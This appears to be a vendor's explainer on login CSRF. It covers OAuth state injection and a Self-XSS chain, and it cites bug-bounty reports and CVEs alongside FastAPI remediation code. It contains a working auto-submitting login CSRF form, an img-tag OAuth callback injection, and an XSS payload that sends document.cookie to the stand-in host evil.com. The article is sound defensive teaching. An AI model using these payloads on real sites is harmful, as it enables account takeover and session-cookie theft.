Forces the victim to log in as an attacker-controlled account, enabling account takeover via shared session state or data access.
TL;DR
Login CSRF (CWE-352) is an attack that forces the victim's browser to submit a login form using the attacker's credentials. When the victim visits the attacker's page, a hidden form auto-submits the attacker's username and password to the target application's login endpoint. If the login succeeds, the victim's browser is now authenticated as the attacker's account — silently, without any visible indication.
This attack exploits the common failure mode: login endpoints are pre-authentication, so developers reason that no session cookie exists to protect and skip CSRF token validation entirely. This reasoning is incorrect. The login form itself is a state-changing operation — it establishes a new authenticated session — and must be protected with a pre-session CSRF token. OWASP explicitly requires CSRF protection on login endpoints.
Standalone login CSRF has limited direct impact when the attacker's credentials are the only input. The escalation comes from the actions the victim takes after being logged into the wrong account: entering payment details, uploading documents, filling health forms, accessing linked OAuth accounts. All data lands in the attacker's account context, where the attacker retrieves it at leisure.
The most severe escalation is the Self-XSS + Login CSRF chain, where stored XSS in the attacker's profile becomes executable against the victim's browser once login CSRF places the victim in the attacker's account context. What was an informational Self-XSS finding becomes a critical account takeover vector.
Login CSRF does not require the victim to be pre-authenticated. It targets the login form itself:
Classic Login CSRF payload:
<!-- Forces victim to authenticate as attacker's account -->
<html>
<body onload="document.getElementById('logincsrf').submit()">
<form id="logincsrf" action="https://target.com/login" method="POST"
style="display:none;">
<input type="hidden" name="username" value="attacker@evil.com">
<input type="hidden" name="password" value="known_attacker_password">
<!-- No CSRF token field — testing omission on login endpoint -->
</form>
</body>
</html>The critical enabling factor: most applications do not issue a CSRF token on their login page. There is no csrf_token field to include, because the developers never added one. The login POST succeeds cross-origin.
| Variant | Technique | Impact |
|---|---|---|
| Data harvesting | Victim enters sensitive data in attacker's account | PII, payment, documents stolen without any malware |
| Self-XSS escalation | Stored XSS in attacker profile executes in victim's browser | Full account takeover, credential exfiltration |
| OAuth code injection | Attacker's OAuth state injected into victim's callback | Social account linked to victim's app account |
| Session fixation amplified | Pre-plant session ID, force login CSRF | Attacker knows victim's resulting session token |
| Login CSRF → persistent access | Victim adds attacker's email, attacker receives password reset | Long-term unauthorized access |
This chain converts two low-severity findings into a critical account takeover:
Step 1: Attacker creates account and stores XSS payload in profile name field:
name = "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"
(This is Self-XSS — the attacker's own profile, only visible in their own session)
Step 2: Attacker hosts login CSRF page:
<form action="https://target.com/login" method="POST">
<input name="username" value="attacker@evil.com">
<input name="password" value="known_pw">
</form>
(Victim's browser authenticates as attacker)
Step 3: Victim's browser executes attacker's profile name as XSS:
/profile page renders attacker's name → XSS fires in victim's browser context
Step 4: XSS exfiltrates victim's cookies:
The XSS runs with the victim's browser session restored (if victim was logged in)
OR forces OAuth re-authentication → captures victim's authorization code
Severity: Self-XSS (Informational) + Login CSRF (Low) = Critical ATO
CVSS: AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N = 7.5 High (complexity deduction for multi-step chain)Step 1: Attacker initiates OAuth with their account:
GET /oauth/authorize?client_id=app&redirect_uri=https://target.com/callback&state=attacker_state
Receives: authorization_url = https://oauth-provider.com/auth?code=ATTACKER_CODE&state=attacker_state
Step 2: Attacker captures the callback URL before following redirect:
/callback?code=ATTACKER_CODE&state=attacker_state
Step 3: Attacker sends callback URL to victim via CSRF:
<img src="https://target.com/callback?code=ATTACKER_CODE&state=attacker_state">
(No SameSite protection on callback — it's a redirect endpoint)
Step 4: Victim's browser executes the callback:
Target links attacker's OAuth identity to victim's existing account
Step 5: Attacker logs in via their social identity → takes over victim's accountRFC 6749 §10.12 mandates that OAuth implementations bind the state parameter to the user agent session and validate it on callback. RFC 9700 §4.1.2 additionally specifies that PKCE (code_challenge_method=S256) can replace the state parameter for CSRF protection in native clients. Missing both state and PKCE enables this attack.
HackerOne #118737 — Google OAuth Login CSRF (ThisData): Forces a non-authenticated victim to initiate OAuth authentication using the attacker's credentials, then captures the victim's session in the attacker-controlled OAuth account.
HackerOne #1046630 — Logitech/Streamlabs OAuth Null Byte ($200): Null byte %00 in the OAuth state parameter caused the server's string comparison to terminate early, accepting forged state values and enabling account linking hijack via one-click OAuth CSRF.
HackerOne #834366 — HackerOne.com Login CSRF ($500): The authenticity_token CSRF token on HackerOne's own login page was not properly verified server-side, allowing login via CSRF without a valid token. Disclosed 2020. This is particularly notable because HackerOne is a security-focused platform — demonstrating that even expert teams miss login endpoint CSRF protection.
CVE-2025-0126 — Palo Alto PAN-OS GlobalProtect SAML (CVSS-B 8.3, High): Session fixation enabling a CSRF-equivalent attack: the pre-authentication session ID was not invalidated after SAML login, allowing an attacker who could observe the session ID to CSRF the login flow and take over the resulting session. Affected GlobalProtect SAML login flow.
HackerOne #118737 — Login CSRF via Google OAuth (ThisData): Full demonstration of the OAuth login CSRF flow: attacker forces victim to authenticate with the attacker's Google account credentials, then captures victim's session as the attacker's linked account. Impact: complete account takeover on the affected SaaS platform.
CVE-2023-49920 — Apache Airflow (CVSS 6.5): Missing CSRF protection on the DAG trigger endpoint. While not a login endpoint, this demonstrates the same pattern — pre-authentication/unauthenticated endpoints assumed to be safe from CSRF because "there's no session." The DAG trigger created unauthenticated-access CSRF to production data pipelines.
csrf_token, authenticity_token, _token, __RequestVerificationToken). If no token field exists, the login endpoint is unprotected.state parameter validation in OAuth: initiate the OAuth flow, then modify the state parameter in the callback URL. If the server accepts a forged state, OAuth CSRF is confirmed.Standard CSRF scanners typically do not test login endpoints because they lack active sessions when testing those endpoints. BreachVex detects login CSRF as part of its authenticated-session bootstrap, which probes login endpoints for CSRF token presence and validates whether tokens are server-side enforced. OAuth state parameter validation is tested separately and reported as an OAuth state-CSRF finding.
The token must be bound to the browser session before authentication, not to the post-login session:
# FastAPI — pre-session CSRF token for login endpoint
import secrets
from fastapi import Response, Request, Form, HTTPException
from fastapi.responses import HTMLResponse
@router.get("/login")
async def login_page(request: Request, response: Response):
# Generate pre-session CSRF token and set as cookie BEFORE login form
pre_session_token = secrets.token_urlsafe(32)
response.set_cookie(
key="pre_session_csrf",
value=pre_session_token,
httponly=True,
secure=True,
samesite="lax", # 'strict' would break OAuth redirects back to login
max_age=3600,
)
return HTMLResponse(f"""
<form method="POST" action="/login">
<input type="hidden" name="csrf_token" value="{pre_session_token}">
<input type="email" name="email">
<input type="password" name="password">
<button type="submit">Login</button>
</form>
""")
@router.post("/login")
async def login_submit(
request: Request,
response: Response,
csrf_token: str = Form(...),
email: str = Form(...),
password: str = Form(...)
):
# Validate pre-session token BEFORE checking credentials
cookie_token = request.cookies.get("pre_session_csrf")
if not cookie_token or not secrets.compare_digest(cookie_token, csrf_token):
raise HTTPException(status_code=403, detail="Invalid CSRF token")
# Authenticate user
user = await authenticate(email, password)
if not user:
raise HTTPException(status_code=401, detail="Invalid credentials")
# CRITICAL: Destroy pre-session and create new session on login
# This also prevents session fixation
response.delete_cookie("pre_session_csrf")
new_session_id = secrets.token_urlsafe(32)
response.set_cookie("session", new_session_id, httponly=True, secure=True, samesite="strict")
await sessions.create(new_session_id, user.id)
return {"ok": True}# Bind state parameter to session before redirecting to OAuth provider
@router.get("/oauth/login")
async def oauth_login(request: Request, response: Response):
state = secrets.token_urlsafe(32)
# Store state in session — validates on callback
await sessions.set(request.session_id, "oauth_state", state)
auth_url = f"https://provider.com/oauth/authorize?client_id=...&state={state}"
return RedirectResponse(auth_url)
@router.get("/oauth/callback")
async def oauth_callback(request: Request, code: str, state: str):
# Validate state matches what was stored in session
stored_state = await sessions.get(request.session_id, "oauth_state")
if not stored_state or not secrets.compare_digest(stored_state, state):
raise HTTPException(status_code=403, detail="OAuth state mismatch — CSRF detected")
# Exchange code for token
token = await exchange_code(code)
# ... link OAuth identity to user accountSession regeneration on login is not optional — it prevents session fixation attack chains. Create a brand-new session ID after authentication succeeds. The pre-session CSRF cookie, the session fixture, and the new post-login session must be three distinct identifiers.
Login CSRF forces the victim to authenticate as the attacker's account, rather than executing actions as the victim. Regular CSRF exploits an existing authenticated session; login CSRF exploits the pre-authentication state where no session yet exists and no CSRF token is typically issued. The victim appears to be logged in, but into the attacker's account context.
The victim performs sensitive actions—entering credit cards, uploading documents, filling health forms—that get stored in the attacker's account. The attacker then logs back into their own account and harvests the victim's data. Combined with stored XSS in the attacker's profile, login CSRF escalates to full account takeover via the Self-XSS + Login CSRF chain.
Login endpoints handle pre-authentication requests—no session cookie exists yet, so developers reason there is nothing to protect. CSRF tokens require an active session to be meaningful. This is a false assumption: the login form itself must be protected with a pre-session CSRF token tied to the browser session (e.g., via a cookie set before the login page loads).
The attacker stores an XSS payload in their own account (Self-XSS, normally unexploitable). They then use Login CSRF to force the victim's browser to authenticate as the attacker's account. The victim's browser executes the stored XSS from the attacker's profile. The XSS exfiltrates the victim's real credentials or OAuth tokens. Self-XSS (informational) + Login CSRF (low) = Critical ATO.
OAuth Login CSRF occurs when the attacker initiates an OAuth authorization flow (e.g., 'Log in with Google'), captures the authorization URL before following the redirect, and sends that URL to the victim via CSRF. The victim's browser completes the OAuth flow, linking the attacker's social identity to the victim's application account. The attacker then logs in via their linked identity and takes over the victim's account.
HackerOne #834366 is a login CSRF report disclosed against HackerOne itself. The authenticity_token CSRF token on the HackerOne login page was not properly verified server-side, allowing login via CSRF without a valid token. Bounty: $500. This demonstrates that even security-focused platforms have historically missed login endpoint CSRF protection.
Issue a pre-session CSRF token before authentication begins: set a cryptographically random cookie when the login page is served, and require that value in the login form submission. This token is validated server-side before processing credentials. Additionally, always invalidate and regenerate the session ID on successful login (prevents session fixation chaining).
SameSite=Strict on the session cookie does not protect login endpoints because no session cookie exists pre-authentication. The CSRF target is the login form itself, not a resource guarded by a session cookie. A pre-session CSRF token tied to a separate cookie (which does need SameSite=Strict) is the correct defense.